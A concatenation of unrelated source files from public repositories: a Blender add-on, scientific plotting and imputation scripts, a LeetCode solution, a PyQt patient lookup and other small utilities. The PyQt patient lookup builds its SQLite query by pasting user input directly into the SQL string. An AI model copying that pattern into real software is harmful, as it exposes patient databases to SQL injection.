CreatedObjects = createRingArray(self,context,act_obj,hub_axis,offset_angle,number_of_objects)\r\n\r\n\r\n if self.create_parent:\r\n HubRot = (0,0,0)\r\n if hub_axis == \"X\": HubRot = (0,0, math.radians(90))\r\n if hub_axis == \"Y\": HubRot = (0,0,0)\r\n if hub_axis == \"Z\": HubRot = (math.radians(90),0,0)\r\n bpy.ops.object.empty_add(type='CIRCLE',radius = radius_of_circle,rotation = HubRot, location=array_loc)\r\n ringArray = bpy.context.active_object\r\n ringArray.name = \"ringArray\"\r\n ringArray.hide_render = True\r\n\r\n clearSelection\r\n\r\n for obj in CreatedObjects:\r\n if self.create_parent:\r\n obj.select_set(True)\r\n bpy.ops.object.parent_set(type='OBJECT', keep_transform=True)\r\n clearSelection\r\n ringArray.select_set(True)\r\n else:\r\n obj.select_set(True)\r\n\r\n \r\n\r\n act_obj = bpy.data.objects.get(act_obj_ID)\r\n\r\n if act_obj and act_obj.type in {\"MESH\"}:\r\n if self.merge_objects:\r\n bpy.ops.object.join()\r\n merged_mesh = bpy.context.active_object\r\n cursor_loc = bpy.context.scene.cursor.location\r\n bpy.context.scene.cursor.location = array_loc\r\n bpy.ops.object.origin_set(type='ORIGIN_CURSOR', center='MEDIAN')\r\n bpy.context.scene.cursor.location = cursor_loc\r\n\r\n if len(selected_objects) == 2 and self.merge_objects:\r\n try:\r\n tgtObj = selected_objects[0]\r\n modifier = tgtObj.modifiers.new(name='RABool',type=\"BOOLEAN\")\r\n modifier.operation = \"DIFFERENCE\"\r\n modifier.solver = \"FAST\"\r\n modifier.object = merged_mesh\r\n tgtObj.select_set(True)\r\n bpy.context.view_layer.objects.active = tgtObj\r\n bpy.ops.object.modifier_apply(modifier=\"RABool\")\r\n clearSelection\r\n merged_mesh.select_set(True)\r\n bpy.ops.object.delete()\r\n except:\r\n pass\r\n\r\n if delete_original:\r\n bpy.ops.object.select_all(action='DESELECT')\r\n act_obj = bpy.data.objects.get(act_obj_ID)\r\n act_obj.select_set(True)\r\n if act_obj.data.users > 1:\r\n act_obj.data.user_clear()\r\n bpy.ops.object.delete() \r\n \r\n return {'FINISHED'}\r\n\r\n\r\n def draw(self, context):\r\n layout = self.layout\r\n box = layout.box()\r\n box.label(text=\"Main\")\r\n row = box.row()\r\n row.prop(self, \"radius_of_circle\",text=\"radius\")\r\n row.prop(self, \"number_of_objects\",text =\"count\")\r\n row = box.row()\r\n row.prop(self, \"offset_angle\", text =\"offset\")\r\n row.prop(self, \"resize\",text=\"resize\")\r\n\r\n box.prop(self, \"autoAxis\",text=\"Auto axis\")\r\n if not self.autoAxis:\r\n box.prop(self, \"hub_axis\")\r\n\r\n box = layout.box()\r\n box.label(text=\"Tweak\") \r\n row = box.row()\r\n row.label(text=\"Rotate:\")\r\n row.prop(self, \"rx\",text=\"X\")\r\n row.prop(self, \"ry\",text=\"Y\")\r\n row.prop(self, \"rz\",text=\"Z\")\r\n\r\n box = layout.box()\r\n box.label(text=\"Options\")\r\n row = box.row()\r\n row.prop(self, \"apply_transform\")\r\n row.prop(self, \"delete_original\")\r\n if not self.merge_objects:\r\n row = box.row() \r\n row.prop(self, \"create_parent\")\r\n row.prop(self, \"linked_data\")\r\n row = box.row()\r\n row.prop(self, \"merge_objects\")\r\n row.operator(\"wm.operator_defaults\",text =\"Reset\")\r\n\r\n\r\nclass RINGARRAY_OT_resetPreferences(Operator):\r\n \"\"\" Reset Add-on Preferences \"\"\"\r\n bl_idname = \"ringarray.reset_preferences\"\r\n bl_label = \"Reset Properties and Settings\"\r\n bl_options = {\"INTERNAL\"}\r\n\r\n def execute(self, context):\r\n rapreferences = context.preferences.addons[__name__].preferences\r\n rapreferences.property_unset(\"count\")\r\n rapreferences.property_unset(\"radius\")\r\n rapreferences.property_unset(\"create_parent\")\r\n rapreferences.property_unset(\"linked_data\")\r\n rapreferences.property_unset(\"merge_objects\")\r\n rapreferences.property_unset(\"auto_axis\")\r\n rapreferences.property_unset(\"delete_original\")\r\n rapreferences.property_unset(\"apply_transform\")\r\n return {'FINISHED'}\r\n\r\n#create an npanel\r\nclass QOL_RingArrayPanel(Panel):\r\n bl_label = \"QOL RingArray\"\r\n bl_idname = \"OBJECT_PT_qol_ringarray\"\r\n bl_space_type = 'VIEW_3D'\r\n bl_region_type = 'UI'\r\n bl_category = \"QOL\"\r\n\r\n def draw(self, context):\r\n ra_prefs = context.preferences.addons[__name__].preferences\r\n self.layout.operator(\"wm.qol_ringarray\", text=\"QOL RingArray\")\r\n self.layout.prop(ra_prefs, \"count\")\r\n\r\ndef draw(self, context):\r\n self.layout.operator(\"wm.qol_ringarray\", text=\"QOL RingArray\")\r\n\r\ndef register():\r\n bpy.utils.register_class(RH_RingArray_preferences)\r\n bpy.utils.register_class(RINGARRAY_OT_resetPreferences)\r\n bpy.utils.register_class(QOL_RingArrayPanel)\r\n bpy.utils.register_class(QOL_RingArray)\r\n \r\n bpy.types.VIEW3D_MT_object_context_menu.append(draw)\r\n\r\ndef unregister():\r\n bpy.utils.unregister_class(RH_RingArray_preferences)\r\n bpy.utils.unregister_class(RINGARRAY_OT_resetPreferences)\r\n bpy.utils.unregister_class(QOL_RingArrayPanel)\r\n bpy.utils.unregister_class(QOL_RingArray)\r\n bpy.types.VIEW3D_MT_object_context_menu.remove(draw)\r\n\r\nif __name__ == \"__main__\":\r\n register()", "repo_name": "V-Sekai/vsekai-blender-game-tools", "sub_path": "addons/QOL_RingArray/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 9320, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "bpy.types.Operator", "line_number": 21, "usage_type": "name"}, {"api_name": "bpy.context", "line_number": 54, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 67, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 68, "usage_type": "attribute"}, {"api_name": "bpy.data.objects.get", "line_number": 69, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 69, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.transform_apply", "line_number": 75, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 75, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.select_all", "line_number": 88, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 88, "usage_type": "attribute"}, {"api_name": "math.radians", "line_number": 94, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 96, "usage_type": "call"}, {"api_name": "bpy.ops.object.empty_add", "line_number": 97, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 97, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 98, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.parent_set", "line_number": 107, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 107, "usage_type": "attribute"}, {"api_name": "bpy.data.objects.get", "line_number": 115, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 115, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.join", "line_number": 119, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 119, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 120, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 121, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 122, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.origin_set", "line_number": 123, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 123, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 124, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 134, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.modifier_apply", "line_number": 135, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 135, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 138, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 138, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.select_all", "line_number": 143, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 143, "usage_type": "attribute"}, {"api_name": "bpy.data.objects.get", "line_number": 144, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 144, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 148, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 148, "usage_type": "attribute"}, {"api_name": "bpy.types.Operator", "line_number": 190, "usage_type": "name"}, {"api_name": "bpy.types.Panel", "line_number": 209, "usage_type": "name"}, {"api_name": "bpy.utils.register_class", "line_number": 225, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 225, "usage_type": "attribute"}, {"api_name": "bpy.utils.register_class", "line_number": 226, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 226, "usage_type": "attribute"}, {"api_name": "bpy.utils.register_class", "line_number": 227, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 227, "usage_type": "attribute"}, {"api_name": "bpy.utils.register_class", "line_number": 228, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 228, "usage_type": "attribute"}, {"api_name": "bpy.types.VIEW3D_MT_object_context_menu.append", "line_number": 230, "usage_type": "call"}, {"api_name": "bpy.types", "line_number": 230, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 233, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 233, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 234, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 234, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 235, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 235, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 236, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 236, "usage_type": "attribute"}, {"api_name": "bpy.types.VIEW3D_MT_object_context_menu.remove", "line_number": 237, "usage_type": "call"}, {"api_name": "bpy.types", "line_number": 237, "usage_type": "attribute"}]} {"seq_id": "13557577704", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\n# TIME DOMAIN\nw = 20\nt = np.arange(0.01, w*2+0.01, 0.01)\n\ns = 8\ntmp1 = (t-w)/s\nsigma = 0.16\ntmp2 = np.exp(-(tmp1**2)/(2.0*sigma**2))\npsi = (1/s)*np.pi**(-1/4)*np.cos(2*np.pi*tmp1)*tmp2\n\nplt.subplot(2,1,1)\nplt.plot(t,psi)\nplt.plot([0,w*2],[np.exp(-2),np.exp(-2)])\nplt.plot([0,w*2],[-np.exp(-2),-np.exp(-2)])\nplt.title('Morlet time-domain')\n\n#FREQUENCY DOMAIN\nw0 = 2*np.pi\nx = np.arange(0, 10.01, 0.01)\nfourier_wavelength = 4*np.pi / (w0 + np.sqrt(2 + w0**2))\n\ntmp1 = s*(x/fourier_wavelength)*sigma - w0*sigma\ntmp1 = -(tmp1**2)/2.0\npsi = np.exp(tmp1)\n\nplt.subplot(2,1,2)\nplt.plot(x,psi)\nplt.xlim([0, 2*np.pi])\nplt.title('Morlet frequency-domain')\n\n\nprint(np.geomspace(0.2, 100, 5))\nplt.show()\n\naccs = np.load('EMODB_MODELS/sigma_range_test/sigma_accuries22-1.npy', allow_pickle=True)\n\nprint(accs)", "repo_name": "Mathijslan/PR-DLP-BvZ-ML", "sub_path": "morlettest.py", "file_name": "morlettest.py", "file_ext": "py", "file_size_in_byte": 846, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.arange", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 31, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.title", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "numpy.geomspace", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 38, "usage_type": "call"}]} {"seq_id": "1430030038", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 24 18:34:09 2019\n\n@author: hamedniakan\n\"\"\"\n\nfrom fancyimpute import KNN\nimport pandas as pd \n\ndata_train = pd.read_csv('/wsu/home/gn/gn85/gn8525/GP_SALES/data_train.csv' )\ndata_test = pd.read_csv('/wsu/home/gn/gn85/gn8525/GP_SALES/data_test.csv')\n\n\ndata_train_knn = pd.DataFrame(KNN(k=6).fit_transform(np.array(data_train.iloc[:,1:])) , columns = data_train.columns[1:])\ndata_train_knn['id'] = data_train['id']\ncols = data_train_knn.columns.tolist()\ncols = cols[-1:] + cols[:-1]\ndata_train_knn = data_train_knn[cols] \ndata_train_knn.to_csv('/wsu/home/gn/gn85/gn8525/GP_SALES/data_train_knn.csv')\n\ndata_test_knn = pd.DataFrame(KNN(k=6).fit_transform(np.array(data_test.iloc[:,1:])) , columns = data_test.columns[1:])\ndata_test_knn['id'] = data_test['id']\ncols = data_test_knn.columns.tolist()\ncols = cols[-1:] + cols[:-1]\ndata_test_knn = data_test_knn[cols] \ndata_test_knn.to_csv('/wsu/home/gn/gn85/gn8525/GP_SALES/data_test_knn.csv')", "repo_name": "hnikana/US-task1-", "sub_path": "knn_impute.py", "file_name": "knn_impute.py", "file_ext": "py", "file_size_in_byte": 1003, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 16, "usage_type": "call"}, {"api_name": "fancyimpute.KNN", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 23, "usage_type": "call"}, {"api_name": "fancyimpute.KNN", "line_number": 23, "usage_type": "call"}]} {"seq_id": "6706346771", "text": "from PyQt5 import uic\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtWidgets import *\r\nfrom Pacijent import Pacijent # ne može pronaci Pacijent\r\nimport sqlite3\r\n\r\n\r\nclass PretragaPacijenata(QWidget):\r\n def __init__(self,pacijenti):\r\n super().__init__()\r\n uic.loadUi(\"PretragaPacijenata.ui\",self)\r\n\r\n self.pacijenti = pacijenti\r\n\r\n self.pretragaGumb.clicked.connect(self.pretrazi)\r\n self.obrisiGumb.clicked.connect(self.obrisi)\r\n self.dijagnozaGumb.clicked.connect(self.pretrazidijagnozu)\r\n self.natragGumb.clicked.connect(self.zatvoriMe)\r\n \r\n def __porukaProzor(self,poruka):\r\n porukaProzor = QMessageBox()\r\n porukaProzor.setIcon(QMessageBox.Warning)\r\n porukaProzor.setText(poruka)\r\n porukaProzor.setStandardButtons(QMessageBox.Ok)\r\n porukaProzor.exec()\r\n\r\n def __otkljucaj(self):\r\n self.imeText.setReadOnly(False)\r\n self.prezimeText.setReadOnly(False)\r\n self.oibText.setReadOnly(False)\r\n self.datumRodjenjaText.setReadOnly(False)\r\n self.adresaText.setReadOnly(False)\r\n \r\n def __zakljucaj(self):\r\n self.imeText.setReadOnly(True)\r\n self.prezimeText.setReadOnly(True)\r\n self.oibText.setReadOnly(True)\r\n self.datumRodjenjaText.setReadOnly(True)\r\n self.adresaText.setReadOnly(True)\r\n \r\n def pretrazi(self):\r\n try:\r\n rez = None\r\n with sqlite3.connect(\"BazaPacijenata2.db\") as conn:\r\n suceljeZaNaredbe = conn.cursor()\r\n upit=\"SELECT Ime, Prezime, OIB, MBO,Datum_rodjenja, Adresa FROM Pacijenti WHERE Pacijenti.MBO=\"+self.mboText.text()+\";\"\r\n rez = suceljeZaNaredbe.execute(upit).fetchall()\r\n if rez is None or len(rez)==0:\r\n self.__porukaProzor(\"Pacijent s tim MBO-om NE POSTOJI!!\")\r\n else:\r\n self.__otkljucaj()\r\n pacijentko = rez[0]\r\n self.imeText.setText(pacijentko[0])\r\n self.prezimeText.setText(pacijentko[1])\r\n self.oibText.setText(str(pacijentko[2]))\r\n self.datumRodjenjaText.setText(pacijentko[4])\r\n self.adresaText.setText(pacijentko[5])\r\n self.__zakljucaj()\r\n except:\r\n self.__porukaProzor(\"POGREŠAN UNOS ZA MBO!!\")\r\n\r\n \r\n def obrisi(self):\r\n self.mboText.setText(\"\")\r\n \r\n \r\n def pretrazidijagnozu(self):\r\n self.prozorZaPretragu = Pacijent(\"BazaPacijenata2.db\")\r\n self.prozorZaPretragu.show()\r\n\r\n\r\n def zatvoriMe(self):\r\n self.close()\r\n", "repo_name": "IvanaHrz/Ambulanta", "sub_path": "Ambulanta/PretragaPacijenata.py", "file_name": "PretragaPacijenata.py", "file_ext": "py", "file_size_in_byte": 2660, "program_lang": "python", "lang": "sh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.uic.loadUi", "line_number": 12, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 12, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 45, "usage_type": "call"}, {"api_name": "Pacijent.Pacijent", "line_number": 69, "usage_type": "call"}]} {"seq_id": "72506353504", "text": "from selenium.webdriver.chrome.service import Service\r\nfrom selenium import webdriver\r\nimport time\r\n\r\n# webdriver chromeotions is to enable chrome options, then we can adjust browser option like pop notifications through add.argument\r\nops = webdriver.ChromeOptions()\r\nops.add_argument(\"--disable-notifications\")\r\n\r\nservice_obj = Service(r\"C:\\Users\\davud\\Desktop\\SeleniumD\\chromedriver.exe\")\r\ndriver = webdriver.Chrome(service=service_obj, options=ops)\r\ndriver.maximize_window()\r\ndriver.implicitly_wait(10)\r\n\r\ndriver.get(\"https://whatmylocation.com/show-current-address.htm\")\r\n", "repo_name": "davud-gobeljic/selenium", "sub_path": "Test/test_disable_notification_.py", "file_name": "test_disable_notification_.py", "file_ext": "py", "file_size_in_byte": 576, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.ChromeOptions", "line_number": 6, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 6, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 10, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 10, "usage_type": "name"}]} {"seq_id": "71142805983", "text": "import numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.insert(1, './../')\nimport asym_funcs as af\nimport os\n\nmydir = './output/ODEn800_'\n\nmyfiles = sorted([f for f in os.listdir('./forcingdata') if ('forcing' in f and '.nc' in f and ('insol' in f or 'SW' in f) and 'zonal' not in f)])\nprint(myfiles)\nfor myfile in myfiles:\n print(myfile)\n sol = xr.open_dataset('./forcingdata/'+myfile).S.values\n print(sol.shape)\n ds = af.simple_model(mysolar=sol)\n myname = myfile.split('_n8')[0][8:]\n print(myname) \n ds['names'] = myname\n ds = ds.set_coords('names')\n ds = ds.isel(year=slice(-20,None)).mean(dim='year')\n ds.to_netcdf(mydir+myname+'.nc')\n\nsol = xr.open_dataset('forcingdata/forcing_TOAinsolation_n800.nc').S.values\nhc = xr.open_dataset('forcingdata/forcing_ERA5_HC_n800.nc').HC.values\nmyname = 'TOAinsolationPLUSheatconv'\nprint(myname) \nprint(sol.shape, hc.shape)\nds = af.simple_model(mysolar=sol, forc_xt = hc)\nds['names'] = myname\nds = ds.set_coords('names')\nds = ds.isel(year=slice(-20,None)).mean(dim='year')\nds.to_netcdf(mydir+myname+'.nc')\n\nsol = xr.open_dataset('forcingdata/forcing_TOAinsolation_n800.nc').S.values\nhc = xr.open_dataset('forcingdata/forcing_CERES_SFC-LW-down_anom_n800.nc').L.values\nmyname = 'TOAinsolationPLUSanomLWCERES'\nprint(myname)\nprint(sol.shape, hc.shape)\nds = af.simple_model(mysolar=sol, forc_xt = hc)\nds['names'] = myname\nds = ds.set_coords('names')\nds = ds.isel(year=slice(-20,None)).mean(dim='year')\nds.to_netcdf(mydir+myname+'.nc')\n\nfor mld in [10,50,100,200]:\n cw = af.mld_to_cw(mld)\n myname = 'TOAinsolation_MLD'+str(mld)+'m'\n ds = af.simple_model(mysolar=sol, mycw = cw)\n ds['cw'] = cw\n ds['names'] = myname\n ds = ds.set_coords('names')\n ds = ds.set_coords('cw')\n ds = ds.isel(year=slice(-20,None)).mean(dim='year')\n ds.to_netcdf(mydir+myname+'.nc')\n \n \n## Zonal variations in SW forcing\n#sol = xr.open_dataset('forcingdata/forcing_CERES_SFC-SW-down_zonal-and-meridional_n800.nc')\n#mydir = './output/zonal/ODEn800_' \n#for lon in sol.lon.values:\n# myname = 'CERES_SFC-SW-down_lon'+str(lon)\n# ds = af.simple_model(mysolar=sol.S.sel(lon=lon).squeeze())\n# ds['lon'] = lon\n# ds['names'] = myname\n# ds = ds.set_coords('names')\n# ds = ds.set_coords('lon')\n# ds = ds.isel(year=slice(-20,None)).mean(dim='year')\n# ds.to_netcdf(mydir+myname+'.nc')\n\n\n\n\n", "repo_name": "lettie-roach/analysis_temp-asym", "sub_path": "simplemodel/modelruns.py", "file_name": "modelruns.py", "file_ext": "py", "file_size_in_byte": 2407, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.insert", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 11, "usage_type": "call"}, {"api_name": "xarray.open_dataset", "line_number": 15, "usage_type": "call"}, {"api_name": "asym_funcs.simple_model", "line_number": 17, "usage_type": "call"}, {"api_name": "xarray.open_dataset", "line_number": 25, "usage_type": "call"}, {"api_name": "xarray.open_dataset", "line_number": 26, "usage_type": "call"}, {"api_name": "asym_funcs.simple_model", "line_number": 30, "usage_type": "call"}, {"api_name": "xarray.open_dataset", "line_number": 36, "usage_type": "call"}, {"api_name": "xarray.open_dataset", "line_number": 37, "usage_type": "call"}, {"api_name": "asym_funcs.simple_model", "line_number": 41, "usage_type": "call"}, {"api_name": "asym_funcs.mld_to_cw", "line_number": 48, "usage_type": "call"}, {"api_name": "asym_funcs.simple_model", "line_number": 50, "usage_type": "call"}]} {"seq_id": "14197665895", "text": "# from pudb import set_trace; set_trace()\nfrom typing import List\nimport math\nfrom collections import defaultdict\n\n\nclass Solution1:\n def findAllConcatenatedWordsInADict(self, words: List[str]) -> List[str]:\n \"\"\"LeetCode 472\n\n We have to sort by length of each word, because this can guarantee that\n if a later word is a concatenation, it must be a concatenation of some\n of the previous words.\n\n My original idea is to use a trie for checking whether a word is a\n concat, but I realize that traversing the trie in the case of 'cat' and\n 'cats' would require recursion, because we need to try 'cat' first and\n if it doesn't work, we need to try 'cats'. But all of this with trie\n can be complicated, and I don't want to use it as the first option.\n\n Then I realize that the max length of each word is at most 30. That\n means if we group the non-concat by their length, to check whether a\n word is a concat, we only need to go through at most 30 times of previous\n groups of non-concat. And if we make the group as a set, each check\n is O(1). Even if we have to go through the entire 30 times for each\n check, it is still not slow, because the total number of rounds is also\n limited.\n\n Hence, the solution.\n\n O(NlogN + K^3 * N), where N = len(words), K is the max length of a single\n word. Note that the dfs takes O(K^3). Recursion is O(K^2), for each\n recurison we perform string splicing, which is another O(K).\n\n 572 ms, faster than 56.45%\n \"\"\"\n words.sort(key=lambda w: len(w))\n m = defaultdict(set)\n\n def dfs(i: int, word: str) -> bool:\n if i == len(word):\n return True\n for length, nonconcat in m.items():\n if word[i:i + length] in nonconcat:\n if dfs(i + length, word):\n return True\n return False\n\n res = []\n for word in words:\n if dfs(0, word):\n res.append(word)\n else:\n m[len(word)].add(word)\n return res\n\n\nclass Solution2:\n def findAllConcatenatedWordsInADict(self, words: List[str]) -> List[str]:\n \"\"\"DP solution. Almost the same as Solution1, but using a different\n perspective.\n\n For each word, we determine whether a prefix is a nonconcat. If it is,\n we through the remaining to the recurion again. DP happens when a\n remaining is already in a nonconcat or concat group, we don't have to\n process it again.\n\n O(NlogN, K^3 * N), 556 ms, faster than 57.10%\n \"\"\"\n words.sort(key=lambda w: len(w))\n nonconcat = set()\n res = set()\n\n def is_concat(idx: int, word: int) -> bool:\n if word[idx:] in nonconcat or word[idx:] in res:\n return True\n if idx == len(word):\n return False\n for j in range(idx, len(word)):\n if word[idx:j + 1] in nonconcat and is_concat(j + 1, word):\n return True\n return False\n\n for word in words:\n if is_concat(0, word):\n res.add(word)\n else:\n nonconcat.add(word)\n return list(res)\n\n\nsol = Solution2()\ntests = [\n ([\"cat\",\"cats\",\"catsdogcats\",\"dog\",\"dogcatsdog\",\"hippopotamuses\",\"rat\",\"ratcatdogcat\"], [\"catsdogcats\",\"dogcatsdog\",\"ratcatdogcat\"]),\n ([\"cat\",\"dog\",\"catdog\"], [\"catdog\"]),\n]\n\nfor i, (words, ans) in enumerate(tests):\n res = sol.findAllConcatenatedWordsInADict(words)\n res.sort()\n ans.sort()\n if res == ans:\n print(f'Test {i}: PASS')\n else:\n print(f'Test {i}; Fail. Ans: {ans}, Res: {res}')\n", "repo_name": "FanchenBao/leetcode", "sub_path": "2023_01_challenge/01_27_2023.py", "file_name": "01_27_2023.py", "file_ext": "py", "file_size_in_byte": 3784, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 59, "usage_type": "name"}]} {"seq_id": "8544178981", "text": "import sys\nfrom collections import deque\n\nn = int(sys.stdin.readline())\nm = int(sys.stdin.readline())\n\ngraph = [[0 for _ in range(n+1)] for _ in range(n+1)]\nvisit = [0 for _ in range(n+1)]\nfor i in range(m):\n a,b = map(int,sys.stdin.readline().split())\n graph[a][b] = 1\n graph[b][a] = 1\n\ndef bfs(x):\n queue = deque()\n queue.append(x)\n visit[x] = 1 # 시작 지점\n while queue:\n a = queue.popleft()\n for i in range(1,n+1): \n if visit[i] == 0 and graph[a][i] == 1:\n visit[i] = visit[a] + 1 # 친구사이인지 친구의 친구인지 아니면 그 너머인지 판별하기 위해\n queue.append(i)\n\nbfs(1)\ncnt = 0 # 결과값\nfor i in range(2,n+1):\n if visit[i] < 4 and visit[i] != 0: # 친구사이 : 2 친구의 친구사이 : 3 \n cnt +=1\nprint(cnt)", "repo_name": "kimkihoon0515/CodingTest", "sub_path": "DFS 와 BFS/5567/5567.py", "file_name": "5567.py", "file_ext": "py", "file_size_in_byte": 836, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.stdin.readline", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 10, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 15, "usage_type": "call"}]} {"seq_id": "27771723229", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport base64\nimport json\nimport os\nimport subprocess\nimport sys\n\nfrom googlecloudsdk.core import exceptions\nfrom googlecloudsdk.core import log\nfrom googlecloudsdk.core.credentials import store\nfrom googlecloudsdk.core.docker import client_lib\nfrom googlecloudsdk.core.docker import constants\nfrom googlecloudsdk.core.util import files\nimport six\n\n\n_USERNAME = 'gclouddockertoken'\n_EMAIL = 